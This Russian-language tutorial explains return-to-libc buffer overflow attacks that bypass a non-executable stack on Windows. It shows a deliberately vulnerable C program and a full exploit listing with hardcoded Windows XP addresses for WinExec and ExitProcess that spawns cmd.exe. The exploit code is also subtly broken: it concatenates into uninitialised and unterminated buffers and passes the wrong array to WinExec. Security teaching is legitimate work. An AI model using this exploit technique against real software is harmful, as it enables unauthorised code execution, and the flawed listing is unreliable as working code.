Атаки на переполнение буфера за последние 10 лет получили громадное
распространение. Практически во всех современных операционных системах
предусматривается защита от данных атак (Black
Cat, Sun...). Поэтому не за горами то время, когда данная защита появится и у Windows систем.
В данной статье будет рассматриваться атака на переполнение буфера через не
исполнимый стэк.
Рассмотрим чем отличается обычное переполнение буфера, от переполнения буфера
через не исполнимый стэк.
Большинство атак на переполнения буффера строятся по следующей схеме:
- Подготавливается мусор и вычисляются номера байтов, которые перетирают
адрес возврата - Подготавливается исполнимый код в качестве буфера
- Вычисляется адрес возврата при помощи отладчика, так чтобы он указывал
на исполнимый код в стэке - Затем подготовленный буфер содержащий мусорные байты, новый адрес
возврата и исполняемый код передаётся уязвимой программе
Рассмотрим на схеме как выглядит стэк уязвимой программы в момент проведения
обычной атаки на срыв стэка:
Как вы могли заметить исполнение шелл кода происходит прямо в стэке. Большинство
защит ориентировано на то, чтобы воспрепятствовать выполнению кода в стэке и
данная защита очень хорошо работает против большинства эксплоитов.
Теперь для понимания функционирования эксплоитов использующих атаку через
неисполнимый стэк рассмотрим простую программу, которая вызывает через WinExec
программу - "cmd.exe".
На языке С++ она бы выглядела так:
//-----------------------------
#include <windows.h>
void main ()
{
WinExec("cmd",1);
}
//-----------------------------
В данной программе не видно вызова функции ExitProcess, так как компилятор C++
сам заботится о корректном завершении программы.
Рассмотрим аналогичную программу на языке ассемблера:
;-----------------------------
.386
.model flat, stdcall
extrn ExitProcess:proc
extrn WinExec:proc
.data
dd 0
.code
start:
push 1
push offset comm1
call WinExec ; !!!!!
push 0
call ExitProcess
comm1 db 'cmd',0
end start
end
;-----------------------------
Теперь нам необходимо разобраться как выглядит стэк внутри функции
WinExec. Рассмотрим схему стэка внутри WinExec (вызов данной функции отмечен
восклицательными знаками).
Для построения нашей атаки нам наиболее важны значения отмеченные
восклицательными знаками. Первый же параметр можно упустить.
Перейдём к конструированию нашей атаки. Мы должны так переполнить буфер, чтобы
при возвращении из функции мы попали прямиком в WIN API функцию с
заполненным стэком. И самое главное, что стэк должен быть заполнен корректно для вызова
cmd.exe.
Разберём схему построения данной атаки:
- Подготавливается имя программы ("cmd"), мусор и вычисляются номера байтов, которые перетирают адрес возврата
- Вычисляется адрес строки при помощи отладчика, так чтобы он указывал
на строку "cmd" в стэке - Вычисляются адреса функций: WinExec, ExitProcess
- Затем подготовленный буфер содержащий имя программы("cmd"), мусорные байты, новый адрес строки и адреса функций передаётся уязвимой
программе
Рассмотрим схему стэка при реализации данной атаки:
Как вы можете видеть по схеме стэка, в момент атаки мы упустили первый параметр
функции WinExec. А так же мы поставили адрес функции ExitProcess в качестве
адреса возврата из функции WinExec. После того, как консоль будет запущена
управление будет передано на функцию ExitProcess, которая корректно завершит
процесс.
Теперь рассмотрим простую уязвимую программу и построим для неё эксплоит
работающий через неисполнимый стэк.
Рассмотрим листинг:
//-----------------------------
#include <stdio.h>
#include <windows.h>
void vuln_func(char *stroka)
{
char buffer[256]; // буфер
lstrcpyA(buffer,stroka); // функция в результате вызывающая
// переполнение буфера
}
void main (int argc, char *argv[])
{
vuln_func(argv[1]); // вызов уязвимой функции
printf("Parameter is : %s",argv[1]);
}
//-----------------------------
Откомпилируем её и выясним, что это программа делает.
Если её запустить без параметров, то она выведет следующее:
Parameter is : 0(null)
Запустим её следующим образом:
c:\x-files\bug.exe aaaaaaa
Тогда данная программа выведет:
Parameter is : aaaaaaa
При "aaaaa....aaaa" в количестве больше чем 256 будет происходить переполнение
буфера.
Теперь когда у нас есть уязвимая программа мы можем реализовать эксплоит для неё,
который будет действовать по описанному выше принципу.
Рассмотрим листинг эксплоита:
//-----------------------------
// example exploit by sl0n
#include <stdio.h>
#include <windows.h>
void main()
{
char garbage[1000];
char buffer[500];
char r_address1[8]="\xC6\x84\xE6\x77"; // адрес функции WinExec для WIN XP
char r_address2[8]="\xB5\x5C\xE7\x77"; // адрес функции ExitProcess для WIN XP
char pointer_to_cmd[8]="\x80\xfa\x12\x00"; // адрес строки "cmd" в стэке
memset(garbage,'\x90',256); // Заполняем строку мусором (nop'ы)
strcat(buffer,"cmd "); // "cmd "
strcat(buffer,garbage); // "cmd "+nop'ы
strcat(buffer,r_address1); // "cmd "+nop'ы+WinExec
strcat(buffer,r_address2); // "cmd "+nop'ы+WinExec+ExitProcess
strcat(buffer,pointer_to_cmd); // "cmd "+nop'ы+WinExec+ExitProcess+....
strcpy(garbage,"BUG.EXE ");
strcat(garbage,buffer);
//"BUG.EXE "+"cmd "+nop'ы+WinExec+ExitProcess+point_cmd
WinExec(buffer,1);
}
//-----------------------------
Как вы могли убедиться для реализации данной атаки не нужно глубокое знание
ассемблера для построения шелл кода. Она гораздо легче реализуется чем
традиционное переполнение буфера. Данный вид атаки на переполнение буфера
гораздо более прогрессивный, но существует некоторая сложность построения
удалённых эксплоитов данного типа.
По моему данная атака представляет собой второе дыхание эксплоитов,
ориентированных на переполнение буфера.
